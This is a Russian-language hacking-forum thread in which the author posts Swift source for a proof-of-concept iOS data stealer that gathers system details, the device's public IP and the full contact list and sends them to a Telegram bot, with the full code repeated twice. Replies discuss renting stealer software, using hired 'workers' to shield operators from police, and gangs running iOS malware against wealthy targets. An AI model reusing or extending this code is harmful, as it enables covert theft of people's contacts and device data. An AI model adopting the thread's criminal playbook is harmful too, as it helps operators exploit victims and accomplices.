Написать данную статью меня сподвигли постоянные запросы "ищу RAT под iOS и андроид" в разделе "ищу софт" Еще больше улыбнули ответы -"нет такого", -"такого не существует" Данная статья носит ознакомительный характер, а софт всего лишь концепт (PoC) который доказывает, что iOS боты существую давно и при этом динамично развиваются. И так, погнали:Как-то читал форумы и наткнулся, что люди ищут малварь под андроид, другие спрашивают про iOS. Закралась мысль, а почему нельзя сделать что-то под iOS. Ведь уже как год в определенных кругах существует полноценный бот под iOS, который только развивается. Начал писать код. Создал проект в Xcode - написал первые наброски. Сначала информацию о системе получал, потом вспомнил, что есть у эпла либа - Contacts. По размышлял, и пришел к выводу, что будет сбор информации о системе, а так же получение контактов и все отправляется в telegram бота, как сейчас модно в детском окружении. Код 0. Настройка import Foundation internal import Alamofire import Contacts public class GhostManager { public static let shared = GhostManager(); private init() {} public var botToken: String = "" public var chatId: String = "" private var telegramApiUrl: String { return "https://api.telegram.org/bot\(botToken)/sendMessage" } C import Foundation internal import Alamofire import Contacts public class GhostManager { public static let shared = GhostManager(); private init() {} public var botToken: String = "" public var chatId: String = "" private var telegramApiUrl: String { return "https://api.telegram.org/bot\(botToken)/sendMessage" } 1. Первый шаг это сбор информации о железе и ip-шник private func getSystemInfo(completion: @escaping (String) -> Void) { let systemName = ProcessInfo.processInfo.operatingSystemVersionString let hostName = ProcessInfo.processInfo.hostName let userName = NSUserName() let mem = ProcessInfo.processInfo.physicalMemory / (1024 * 1024 * 1024) let message = """ System Info: Version IOS: \(systemName) Host Name: \(hostName) User Name: \(userName) Memory usage: \(mem) GB """ completion(message) } C private func getSystemInfo(completion: @escaping (String) -> Void) { let systemName = ProcessInfo.processInfo.operatingSystemVersionString let hostName = ProcessInfo.processInfo.hostName let userName = NSUserName() let mem = ProcessInfo.processInfo.physicalMemory / (1024 * 1024 * 1024) let message = """ System Info: Version IOS: \(systemName) Host Name: \(hostName) User Name: \(userName) Memory usage: \(mem) GB """ completion(message) } 2. Дальше получение ip адреса: private func getIpAddress(completion: @escaping (String) -> Void) { DispatchQueue.global(qos: .background).async { AF.request("https://ipinfo.io/ip").validate().response { response in switch response.result { case .success(let data): if let data = data, let responseString = String(data: data, encoding: .utf8) { DispatchQueue.main.async { completion("iPhone IP: \(responseString)") } } else { DispatchQueue.main.async { completion("IP успешно получен, но данные пустые.") } } case .failure(let error): DispatchQueue.main.async { completion("Ошибка получения IP: \(error.localizedDescription)") } } } } } C private func getIpAddress(completion: @escaping (String) -> Void) { DispatchQueue.global(qos: .background).async { AF.request("https://ipinfo.io/ip").validate().response { response in switch response.result { case .success(let data): if let data = data, let responseString = String(data: data, encoding: .utf8) { DispatchQueue.main.async { completion("iPhone IP: \(responseString)") } } else { DispatchQueue.main.async { completion("IP успешно получен, но данные пустые.") } } case .failure(let error): DispatchQueue.main.async { completion("Ошибка получения IP: \(error.localizedDescription)") } } } } } 3. Получение контактов: private func fetchContacts(completion: @escaping (String) -> Void) { DispatchQueue.global(qos: .background).async { let store = CNContactStore() store.requestAccess(for: .contacts) { granted, error in if let error = error { DispatchQueue.main.async { completion("Ошибка доступа к контактам: \(error.localizedDescription)") } return } guard granted else { DispatchQueue.main.async { completion("Доступ к контактам был запрещен пользователем.") } return } let keysToFetch: [CNKeyDescriptor] = [ CNContactGivenNameKey as CNKeyDescriptor, CNContactFamilyNameKey as CNKeyDescriptor, CNContactPhoneNumbersKey as CNKeyDescriptor ] let request = CNContactFetchRequest(keysToFetch: keysToFetch) var result = "Контакты:\n" do { try store.enumerateContacts(with: request) { contact, stop in let fullName = "\(contact.givenName) \(contact.familyName)" let phoneNumbers = contact.phoneNumbers.map { $0.value.stringValue } result += "Имя: \(fullName)\n" result += "Телефоны: \(phoneNumbers.joined(separator: ", "))\n\n" } DispatchQueue.main.async { completion(result) } } catch { DispatchQueue.main.async { completion("Ошибка получения контактов: \(error.localizedDescription)") } } } } } C private func fetchContacts(completion: @escaping (String) -> Void) { DispatchQueue.global(qos: .background).async { let store = CNContactStore() store.requestAccess(for: .contacts) { granted, error in if let error = error { DispatchQueue.main.async { completion("Ошибка доступа к контактам: \(error.localizedDescription)") } return } guard granted else { DispatchQueue.main.async { completion("Доступ к контактам был запрещен пользователем.") } return } let keysToFetch: [CNKeyDescriptor] = [ CNContactGivenNameKey as CNKeyDescriptor, CNContactFamilyNameKey as CNKeyDescriptor, CNContactPhoneNumbersKey as CNKeyDescriptor ] let request = CNContactFetchRequest(keysToFetch: keysToFetch) var result = "Контакты:\n" do { try store.enumerateContacts(with: request) { contact, stop in let fullName = "\(contact.givenName) \(contact.familyName)" let phoneNumbers = contact.phoneNumbers.map { $0.value.stringValue } result += "Имя: \(fullName)\n" result += "Телефоны: \(phoneNumbers.joined(separator: ", "))\n\n" } DispatchQueue.main.async { completion(result) } } catch { DispatchQueue.main.async { completion("Ошибка получения контактов: \(error.localizedDescription)") } } } } } 4. Напишем отправку данных в телеграмм: private func sendMessageToTelegram(message: String) { let parts = splitMessage(message) let dispatchGroup = DispatchGroup() for part in parts { dispatchGroup.enter() let parameters: [String: Any] = [ "chat_id": chatId, "text": part ] AF.request(telegramApiUrl, method: .post, parameters: parameters, encoding: JSONEncoding.default).response { response in switch response.result { case .success(let data): if let data = data, let _ = String(data: data, encoding: .utf8) { print("") } else { print("Сообщение успешно отправлено.") } case .failure(let error): print("Ошибка отправки сообщения: \(error.localizedDescription)") } dispatchGroup.leave() } } dispatchGroup.notify(queue: .main) { print("Все сообщения успешно отправлены.") } } C private func sendMessageToTelegram(message: String) { let parts = splitMessage(message) let dispatchGroup = DispatchGroup() for part in parts { dispatchGroup.enter() let parameters: [String: Any] = [ "chat_id": chatId, "text": part ] AF.request(telegramApiUrl, method: .post, parameters: parameters, encoding: JSONEncoding.default).response { response in switch response.result { case .success(let data): if let data = data, let _ = String(data: data, encoding: .utf8) { print("") } else { print("Сообщение успешно отправлено.") } case .failure(let error): print("Ошибка отправки сообщения: \(error.localizedDescription)") } dispatchGroup.leave() } } dispatchGroup.notify(queue: .main) { print("Все сообщения успешно отправлены.") } } 5. Собираем все данные в кучу и готовим к отправке: public func sendMessage() { let dispatchGroup = DispatchGroup() var systemInfo: String? var ipAddress: String? var contactsInfo: String? dispatchGroup.enter() getSystemInfo { result in systemInfo = result dispatchGroup.leave() } dispatchGroup.enter() getIpAddress { result in ipAddress = result dispatchGroup.leave() } dispatchGroup.notify(queue: .main) { [self] in dispatchGroup.enter() fetchContacts { result in contactsInfo = result dispatchGroup.leave() } dispatchGroup.notify(queue: .main) { if let systemInfo = systemInfo { self.sendMessageToTelegram(message: systemInfo) } if let ipAddress = ipAddress { self.sendMessageToTelegram(message: ipAddress) } if let contactsInfo = contactsInfo { self.sendMessageToTelegram(message: contactsInfo) } } } } C public func sendMessage() { let dispatchGroup = DispatchGroup() var systemInfo: String? var ipAddress: String? var contactsInfo: String? dispatchGroup.enter() getSystemInfo { result in systemInfo = result dispatchGroup.leave() } dispatchGroup.enter() getIpAddress { result in ipAddress = result dispatchGroup.leave() } dispatchGroup.notify(queue: .main) { [self] in dispatchGroup.enter() fetchContacts { result in contactsInfo = result dispatchGroup.leave() } dispatchGroup.notify(queue: .main) { if let systemInfo = systemInfo { self.sendMessageToTelegram(message: systemInfo) } if let ipAddress = ipAddress { self.sendMessageToTelegram(message: ipAddress) } if let contactsInfo = contactsInfo { self.sendMessageToTelegram(message: contactsInfo) } } } } 6. Разделение сообщения на части, так как максимум слов, которое содержится в сообщении в тг это 4096, поэтому разбиваем на части: private func splitMessage(_ message: String, maxLength: Int = 4096) -> [String] { var result: [String] = [] var currentMessage = "" for line in message.split(separator: "\n") { if currentMessage.count + line.count + 1 > maxLength { result.append(currentMessage) currentMessage = "" } currentMessage += (currentMessage.isEmpty ? "" : "\n") + line } if !currentMessage.isEmpty { result.append(currentMessage) } return result } } C private func splitMessage(_ message: String, maxLength: Int = 4096) -> [String] { var result: [String] = [] var currentMessage = "" for line in message.split(separator: "\n") { if currentMessage.count + line.count + 1 > maxLength { result.append(currentMessage) currentMessage = "" } currentMessage += (currentMessage.isEmpty ? "" : "\n") + line } if !currentMessage.isEmpty { result.append(currentMessage) } return result } } Результат, который получился Полный код: import Foundation internal import Alamofire import Contacts public class GhostManager { public static let shared = GhostManager(); private init() {} public var botToken: String = "" public var chatId: String = "" private var telegramApiUrl: String { return "https://api.telegram.org/bot\(botToken)/sendMessage" } private func getSystemInfo(completion: @escaping (String) -> Void) { let systemName = ProcessInfo.processInfo.operatingSystemVersionString let hostName = ProcessInfo.processInfo.hostName let userName = NSUserName() let mem = ProcessInfo.processInfo.physicalMemory / (1024 * 1024 * 1024) let message = """ System Info: Version IOS: \(systemName) Host Name: \(hostName) User Name: \(userName) Memory usage: \(mem) GB """ completion(message) } private func getIpAddress(completion: @escaping (String) -> Void) { DispatchQueue.global(qos: .background).async { AF.request("https://ipinfo.io/ip").validate().response { response in switch response.result { case .success(let data): if let data = data, let responseString = String(data: data, encoding: .utf8) { DispatchQueue.main.async { completion("iPhone IP: \(responseString)") } } else { DispatchQueue.main.async { completion("IP успешно получен, но данные пустые.") } } case .failure(let error): DispatchQueue.main.async { completion("Ошибка получения IP: \(error.localizedDescription)") } } } } } private func fetchContacts(completion: @escaping (String) -> Void) { DispatchQueue.global(qos: .background).async { let store = CNContactStore() store.requestAccess(for: .contacts) { granted, error in if let error = error { DispatchQueue.main.async { completion("Ошибка доступа к контактам: \(error.localizedDescription)") } return } guard granted else { DispatchQueue.main.async { completion("Доступ к контактам был запрещен пользователем.") } return } let keysToFetch: [CNKeyDescriptor] = [ CNContactGivenNameKey as CNKeyDescriptor, CNContactFamilyNameKey as CNKeyDescriptor, CNContactPhoneNumbersKey as CNKeyDescriptor ] let request = CNContactFetchRequest(keysToFetch: keysToFetch) var result = "Контакты:\n" do { try store.enumerateContacts(with: request) { contact, stop in let fullName = "\(contact.givenName) \(contact.familyName)" let phoneNumbers = contact.phoneNumbers.map { $0.value.stringValue } result += "Имя: \(fullName)\n" result += "Телефоны: \(phoneNumbers.joined(separator: ", "))\n\n" } DispatchQueue.main.async { completion(result) } } catch { DispatchQueue.main.async { completion("Ошибка получения контактов: \(error.localizedDescription)") } } } } } public func sendMessage() { let dispatchGroup = DispatchGroup() var systemInfo: String? var ipAddress: String? var contactsInfo: String? dispatchGroup.enter() getSystemInfo { result in systemInfo = result dispatchGroup.leave() } dispatchGroup.enter() getIpAddress { result in ipAddress = result dispatchGroup.leave() } dispatchGroup.notify(queue: .main) { [self] in dispatchGroup.enter() fetchContacts { result in contactsInfo = result dispatchGroup.leave() } dispatchGroup.notify(queue: .main) { if let systemInfo = systemInfo { self.sendMessageToTelegram(message: systemInfo) } if let ipAddress = ipAddress { self.sendMessageToTelegram(message: ipAddress) } if let contactsInfo = contactsInfo { self.sendMessageToTelegram(message: contactsInfo) } } } } private func sendMessageToTelegram(message: String) { let parts = splitMessage(message) let dispatchGroup = DispatchGroup() for part in parts { dispatchGroup.enter() let parameters: [String: Any] = [ "chat_id": chatId, "text": part ] AF.request(telegramApiUrl, method: .post, parameters: parameters, encoding: JSONEncoding.default).response { response in switch response.result { case .success(let data): if let data = data, let _ = String(data: data, encoding: .utf8) { print("") } else { print("Сообщение успешно отправлено.") } case .failure(let error): print("Ошибка отправки сообщения: \(error.localizedDescription)") } dispatchGroup.leave() } } dispatchGroup.notify(queue: .main) { print("Все сообщения успешно отправлены.") } } private func splitMessage(_ message: String, maxLength: Int = 4096) -> [String] { var result: [String] = [] var currentMessage = "" for line in message.split(separator: "\n") { if currentMessage.count + line.count + 1 > maxLength { result.append(currentMessage) currentMessage = "" } currentMessage += (currentMessage.isEmpty ? "" : "\n") + line } if !currentMessage.isEmpty { result.append(currentMessage) } return result } } C import Foundation internal import Alamofire import Contacts public class GhostManager { public static let shared = GhostManager(); private init() {} public var botToken: String = "" public var chatId: String = "" private var telegramApiUrl: String { return "https://api.telegram.org/bot\(botToken)/sendMessage" } private func getSystemInfo(completion: @escaping (String) -> Void) { let systemName = ProcessInfo.processInfo.operatingSystemVersionString let hostName = ProcessInfo.processInfo.hostName let userName = NSUserName() let mem = ProcessInfo.processInfo.physicalMemory / (1024 * 1024 * 1024) let message = """ System Info: Version IOS: \(systemName) Host Name: \(hostName) User Name: \(userName) Memory usage: \(mem) GB """ completion(message) } private func getIpAddress(completion: @escaping (String) -> Void) { DispatchQueue.global(qos: .background).async { AF.request("https://ipinfo.io/ip").validate().response { response in switch response.result { case .success(let data): if let data = data, let responseString = String(data: data, encoding: .utf8) { DispatchQueue.main.async { completion("iPhone IP: \(responseString)") } } else { DispatchQueue.main.async { completion("IP успешно получен, но данные пустые.") } } case .failure(let error): DispatchQueue.main.async { completion("Ошибка получения IP: \(error.localizedDescription)") } } } } } private func fetchContacts(completion: @escaping (String) -> Void) { DispatchQueue.global(qos: .background).async { let store = CNContactStore() store.requestAccess(for: .contacts) { granted, error in if let error = error { DispatchQueue.main.async { completion("Ошибка доступа к контактам: \(error.localizedDescription)") } return } guard granted else { DispatchQueue.main.async { completion("Доступ к контактам был запрещен пользователем.") } return } let keysToFetch: [CNKeyDescriptor] = [ CNContactGivenNameKey as CNKeyDescriptor, CNContactFamilyNameKey as CNKeyDescriptor, CNContactPhoneNumbersKey as CNKeyDescriptor ] let request = CNContactFetchRequest(keysToFetch: keysToFetch) var result = "Контакты:\n" do { try store.enumerateContacts(with: request) { contact, stop in let fullName = "\(contact.givenName) \(contact.familyName)" let phoneNumbers = contact.phoneNumbers.map { $0.value.stringValue } result += "Имя: \(fullName)\n" result += "Телефоны: \(phoneNumbers.joined(separator: ", "))\n\n" } DispatchQueue.main.async { completion(result) } } catch { DispatchQueue.main.async { completion("Ошибка получения контактов: \(error.localizedDescription)") } } } } } public func sendMessage() { let dispatchGroup = DispatchGroup() var systemInfo: String? var ipAddress: String? var contactsInfo: String? dispatchGroup.enter() getSystemInfo { result in systemInfo = result dispatchGroup.leave() } dispatchGroup.enter() getIpAddress { result in ipAddress = result dispatchGroup.leave() } dispatchGroup.notify(queue: .main) { [self] in dispatchGroup.enter() fetchContacts { result in contactsInfo = result dispatchGroup.leave() } dispatchGroup.notify(queue: .main) { if let systemInfo = systemInfo { self.sendMessageToTelegram(message: systemInfo) } if let ipAddress = ipAddress { self.sendMessageToTelegram(message: ipAddress) } if let contactsInfo = contactsInfo { self.sendMessageToTelegram(message: contactsInfo) } } } } private func sendMessageToTelegram(message: String) { let parts = splitMessage(message) let dispatchGroup = DispatchGroup() for part in parts { dispatchGroup.enter() let parameters: [String: Any] = [ "chat_id": chatId, "text": part ] AF.request(telegramApiUrl, method: .post, parameters: parameters, encoding: JSONEncoding.default).response { response in switch response.result { case .success(let data): if let data = data, let _ = String(data: data, encoding: .utf8) { print("") } else { print("Сообщение успешно отправлено.") } case .failure(let error): print("Ошибка отправки сообщения: \(error.localizedDescription)") } dispatchGroup.leave() } } dispatchGroup.notify(queue: .main) { print("Все сообщения успешно отправлены.") } } private func splitMessage(_ message: String, maxLength: Int = 4096) -> [String] { var result: [String] = [] var currentMessage = "" for line in message.split(separator: "\n") { if currentMessage.count + line.count + 1 > maxLength { result.append(currentMessage) currentMessage = "" } currentMessage += (currentMessage.isEmpty ? "" : "\n") + line } if !currentMessage.isEmpty { result.append(currentMessage) } return result } } Получается что концепт все же работает и доделать остальное не так уж и сложно Соответственно и утверждение что под iOS нет малвари - ОШИБОЧНОЕ!
Монополист, Так это не то и не другое, но с этого можно сделать уже то, что тебе конкретно нужно. Данная шпаргалка (статья) всего лишь доказывает что малварь существует и я лично знаю о двух офигенных проектах, которые развиваются.
puffer2010, Есть сомнения, что, что-то похожее выйдет в массы в ближайшем временем. В массы кроме дерьма в виде поливы и бутылки ничего не выходит. То есть, есть две бизнес-модели: 1) Создаешь *******/бот для получения максимальной выгоды, например чекаешь **** в риал тайм, пока они не дошли до прыщавого хакерка, ему же все равно похyй что вкусные **** не заходят, ему главное количество. Плюс с этого прыща еще и за аренду софта бреешь. От сюда имеем тимы, психи-одиночки и так далее. Но учитывая что эта бизнес-модель вышла давно (2019 - ...) то уже и доживает свою жизнь, хотя идитов еще полно. 2) Создается хороший софт, для не большой группы людей состоящей из траферов и отрабов. Дальше доишь направление пока оно живет и несет деньги. Как только привлек слишком много внимания и отдача тебя не устраивает, идешь на лолку или другой борд ищешь прыща-воркуна, который ищет ворк и предлагаешь воркуну стать селлером чудо-софта. То есть дожимаешь на аренде идиотов, которые к тому же снимают с тебя фокус правоохранительных и разбавляют собой, то есть своим красным, прыщавым ебл0м. На выходи ты с себя сбил след и еще подзаработал на аренде чудо-софта, а воркуны? П0хуй на них. Селлер? 100 раз п0хуй, он же ворк искал, а нашел бутылку... Как-то так
puffer2010, я где-то упомянул, что знаю две банды которые работают с iOS-малварью, но так как правило денежные таргеты отрабатывают. Плюс что аренда в месяц дорогая дак и не всех берут. Обновления тебе не помогут или помогут на первых пару дней, пока найдут обход. По этому еще не скоро будут жертвы с лолки, так как с этих жертв нечего брать